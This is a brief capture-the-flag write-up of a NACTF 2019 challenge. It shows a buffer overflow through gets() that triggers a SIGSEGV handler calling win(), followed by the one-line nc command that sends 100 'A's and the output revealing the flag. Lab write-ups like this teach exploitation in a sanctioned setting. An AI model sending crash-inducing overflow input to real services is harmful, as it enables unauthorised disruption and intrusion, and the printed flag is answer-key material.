### We have BOF here:### gets(buf);### Our target is to call function win(). We have a call to signal(), it will call win() whenever SIGSEGV error occurs.### signal(SIGSEGV, win);### So, we just need to send a long input to cause SIGSEGV### $ python -c "print 'A'*100" | nc shell.2019.nactf.com 31475Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!You win!flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}